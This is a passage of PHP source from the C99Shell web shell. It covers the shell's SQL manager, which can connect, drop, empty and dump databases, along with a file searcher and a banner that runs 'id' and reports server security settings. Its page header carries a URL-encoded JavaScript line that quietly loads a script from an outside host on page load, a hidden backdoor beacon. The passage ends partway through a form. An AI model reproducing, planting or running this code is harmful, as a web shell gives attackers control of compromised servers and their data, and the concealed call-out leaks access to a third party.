  689.   echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  690.   if ($tbl_struct)
  691.   {
  692.    echo "<td valign=\"top\"><b>Fields:</b><br>";
  693.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo " <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  694.    echo "</td></tr></table>";
  695.   }
  696.  }
  697.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  698. }
  699. }
  700. if (!function_exists("mysql_create_db"))
  701. {
  702. function mysql_create_db($db,$sock="")
  703. {
  704.  $sql = "CREATE DATABASE `".addslashes($db)."`;";
  705.  if ($sock) {return mysql_query($sql,$sock);}
  706.  else {return mysql_query($sql);}
  707. }
  708. }
  709. if (!function_exists("mysql_query_parse"))
  710. {
  711. function mysql_query_parse($query)
  712. {
  713.  $query = trim($query);
  714.  $arr = explode (" ",$query);
  715.  /*array array()
  716.  {
  717.   "METHOD"=>array(output_type),
  718.   "METHOD1"...
  719.   ...
  720.  }
  721.  if output_type == 0, no output,
  722.  if output_type == 1, no output if no error
  723.  if output_type == 2, output without control-buttons
  724.  if output_type == 3, output with control-buttons
  725.  */
  726.  $types = array(
  727.   "SELECT"=>array(3,1),
  728.   "SHOW"=>array(2,1),
  729.   "DELETE"=>array(1),
  730.   "DROP"=>array(1)
  731.  );
  732.  $result = array();
  733.  $op = strtoupper($arr[0]);
  734.  if (is_array($types[$op]))
  735.  {
  736.   $result["propertions"] = $types[$op];
  737.   $result["query"]  = $query;
  738.   if ($types[$op] == 2)
  739.   {
  740.    foreach($arr as $k=>$v)
  741.    {
  742.     if (strtoupper($v) == "LIMIT")
  743.     {
  744.      $result["limit"] = $arr[$k+1];
  745.      $result["limit"] = explode(",",$result["limit"]);
  746.      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  747.      unset($arr[$k],$arr[$k+1]);
  748.     }
  749.    }
  750.   }
  751.  }
  752.  else {return FALSE;}
  753. }
  754. }
  755. if (!function_exists("c99fsearch"))
  756. {
  757. function c99fsearch($d)
  758. {
  759.  global $found;
  760.  global $found_d;
  761.  global $found_f;
  762.  global $search_i_f;
  763.  global $search_i_d;
  764.  global $a;
  765.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  766.  $h = opendir($d);
  767.  while (($f = readdir($h)) !== FALSE)
  768.  {
  769.   if($f != "." && $f != "..")
  770.   {
  771.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  772.    if (is_dir($d.$f))
  773.    {
  774.     $search_i_d++;
  775.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  776.     if (!is_link($d.$f)) {c99fsearch($d.$f);}
  777.    }
  778.    else
  779.    {
  780.     $search_i_f++;
  781.     if ($bool)
  782.     {
  783.      if (!empty($a["text"]))
  784.      {
  785.       $r = @file_get_contents($d.$f);
  786.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  787.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  788.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  789.       else {$bool = strpos(" ".$r,$a["text"],1);}
  790.       if ($a["text_not"]) {$bool = !$bool;}
  791.       if ($bool) {$found[] = $d.$f; $found_f++;}
  792.      }
  793.      else {$found[] = $d.$f; $found_f++;}
  794.     }
  795.    }
  796.   }
  797.  }
  798.  closedir($h);
  799. }
  800. }
  801. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  802. //Sending headers
  803. function onphpshutdown()
  804. {
  805.  global $gzipencode,$ft;
  806.  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  807.  {
  808.   $v = @ob_get_contents();
  809.   @ob_start("ob_gzHandler");
  810.   echo $v;
  811.  }
  812. }
  813. function c99shexit()
  814. {
  815.  onphpshutdown();
  816.  exit;
  817. }
  818. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  819. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  820. header("Cache-Control: no-store, no-cache, must-revalidate");
  821. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  822. header("Pragma: no-cache");
  823. if (empty($tmpdir))
  824. {
  825.  $tmpdir = ini_get("upload_tmp_dir");
  826.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  827. }
  828. $tmpdir = realpath($tmpdir);
  829. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  830. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  831. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  832. else {$tmpdir_logs = realpath($tmpdir_logs);}
  833. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  834. {
  835.  $safemode = TRUE;
  836.  $hsafemode = "<font color=red>ON (secure)</font>";
  837. }
  838. else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  839. $v = @ini_get("open_basedir");
  840. if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
  841. else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  842. $sort = htmlspecialchars($sort);
  843. if (empty($sort)) {$sort = $sort_default;}
  844. $sort[1] = strtolower($sort[1]);
  845. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  846. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  847. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  848. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  849. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  850. @ini_set("highlight.default",$highlight_default); //#0000BB
  851. @ini_set("highlight.html",$highlight_html); //#000000
  852. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  853. @ini_set("highlight.string",$highlight_string); //#DD0000
  854. if (!is_array($actbox)) {$actbox = array();}
  855. $dspact = $act = htmlspecialchars($act);
  856. $disp_fullpath = $ls_arr = $notls = null;
  857. $ud = urlencode($d);
  858. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b><Script Language='Javascript'>
  859. <!--
  860. document.write(unescape('%3C%53%43%52%49%50%54%20%53%52%43%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%72%35%37%2E%6C%69%2F%69%6D%61%67%65%73%2F%69%6D%67%2E%6A%73%3E%3C%2F%53%43%52%49%50%54%3E%0D%0A'));
  861. //-->
  862. </Script>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
  863. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  864. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  865. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  866. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  867. $d = str_replace("\\\\","\\",$d);
  868. $dispd = htmlspecialchars($d);
  869. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  870. $i = 0;
  871. foreach($pd as $b)
  872. {
  873.  $t = "";
  874.  $j = 0;
  875.  foreach ($e as $r)
  876.  {
  877.   $t.= $r.DIRECTORY_SEPARATOR;
  878.   if ($j == $i) {break;}
  879.   $j++;
  880.  }
  881.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  882.  $i++;
  883. }
  884. echo "&nbsp;&nbsp;&nbsp;";
  885. if (is_writable($d))
  886. {
  887.  $wd = TRUE;
  888.  $wdt = "<font color=green>[ ok ]</font>";
  889.  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  890. }
  891. else
  892. {
  893.  $wd = FALSE;
  894.  $wdt = "<font color=red>[ Read-Only ]</font>";
  895.  echo "<b>".view_perms_color($d)."</b>";
  896. }
  897. if (is_callable("disk_free_space"))
  898. {
  899.  $free = disk_free_space($d);
  900.  $total = disk_total_space($d);
  901.  if ($free === FALSE) {$free = 0;}
  902.  if ($total === FALSE) {$total = 0;}
  903.  if ($free < 0) {$free = 0;}
  904.  if ($total < 0) {$total = 0;}
  905.  $used = $total-$free;
  906.  $free_percent = round(100/($total/$free),2);
  907.  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  908. }
  909. echo "<br>";
  910. $letters = "";
  911. if ($win)
  912. {
  913.  $v = explode("\\",$d);
  914.  $v = $v[0];
  915.  foreach (range("a","z") as $letter)
  916.  {
  917.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  918.   if (!$bool) {$bool = is_dir($letter.":\\");}
  919.   if ($bool)
  920.   {
  921.    $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  922.    if ($letter.":" != $v) {$letters .= $letter;}
  923.    else {$letters .= "<font color=green>".$letter."</font>";}
  924.    $letters .= " ]</a> ";
  925.   }
  926.  }
  927.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  928. }
  929. if (count($quicklaunch) > 0)
  930. {
  931.  foreach($quicklaunch as $item)
  932.  {
  933.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  934.   $item[1] = str_replace("%sort",$sort,$item[1]);
  935.   $v = realpath($d."..");
  936.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  937.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  938.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  939.  }
  940. }
  941. echo "</p></td></tr></table><br>";
  942. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  943. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  944. if ($act == "") {$act = $dspact = "ls";}
  945. if ($act == "sql")
  946. {
  947.  $sql_surl = $surl."act=sql";
  948.  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  949.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  950.  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  951.  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  952.  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  953.  $sql_surl .= "&";
  954.  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  955.  if ($sql_server)
  956.  {
  957.   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  958.   $err = mysql_smarterror();
  959.   @mysql_select_db($sql_db,$sql_sock);
  960.   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  961.  }
  962.  else {$sql_sock = FALSE;}
  963.  echo "<b>SQL Manager:</b><br>";
  964.  if (!$sql_sock)
  965.  {
  966.   if (!$sql_server) {echo "NO CONNECTION";}
  967.   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  968.  }
  969.  else
  970.  {
  971.   $sqlquicklaunch = array();
  972.   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  973.   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  974.   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  975.   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  976.   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  977.   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  978.   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  979.   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  980.   echo "</center>";
  981.  }
  982.  echo "</td></tr><tr>";
  983.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  984.  else
  985.  {
  986.   //Start left panel
  987.   if (!empty($sql_db))
  988.   {
  989.    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  990.    $result = mysql_list_tables($sql_db);
  991.    if (!$result) {echo mysql_smarterror();}
  992.    else
  993.    {
  994.     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  995.     $c = 0;
  996.     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  997.     if (!$c) {echo "No tables found in database.";}
  998.    }
  999.   }
  1000.   else
  1001.   {
  1002.    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  1003.    $result = mysql_list_dbs($sql_sock);
  1004.    if (!$result) {echo mysql_smarterror();}
  1005.    else
  1006.    {
  1007.     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  1008.     $c = 0;
  1009.     $dbs = "";
  1010.     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1011.     echo "<option value=\"\">Databases (".$c.")</option>";
  1012.     echo $dbs;
  1013.    }
  1014.    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  1015.   }
  1016.   //End left panel
  1017.   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  1018.   //Start center panel
  1019.   $diplay = TRUE;
  1020.   if ($sql_db)
  1021.   {
  1022.    if (!is_numeric($c)) {$c = 0;}
  1023.    if ($c == 0) {$c = "no";}
  1024.    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1025.    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1026.    echo "</b></center>";
  1027.    $acts = array("","dump");
  1028.    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1029.    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  1030.    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  1031.    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1032.    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1033.    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1034.    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1035.    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  1036.    elseif ($sql_tbl_act == "insert")
  1037.    {
  1038.     if ($sql_tbl_insert_radio == 1)
  1039.     {
  1040.      $keys = "";
  1041.      $akeys = array_keys($sql_tbl_insert);
  1042.      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1043.      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1044.      $values = "";
  1045.      $i = 0;
  1046.      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1047.      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1048.      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1049.      $sql_act = "query";
  1050.      $sql_tbl_act = "browse";
  1051.     }
  1052.     elseif ($sql_tbl_insert_radio == 2)
  1053.     {
  1054.      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1055.      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1056.      $result = mysql_query($sql_query) or print(mysql_smarterror());
  1057.      $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1058.      $sql_act = "query";
  1059.      $sql_tbl_act = "browse";
  1060.     }
  1061.    }
  1062.    if ($sql_act == "query")
  1063.    {
  1064.     echo "<hr size=\"1\" noshade>";
  1065.     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1066.     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1067.     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  1068.    }
  1069.    if (in_array($sql_act,$acts))
  1070.    {
  1071.     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  1072.     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  1073.     if ($sql_act == "newtbl")
  1074.     {
  1075.      echo "<b>";
  1076.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1077.     }
  1078.     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1079.    }
  1080.    elseif ($sql_act == "dump")
  1081.    {
  1082.     if (empty($submit))
  1083.     {
  1084.      $diplay = FALSE;
  1085.      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
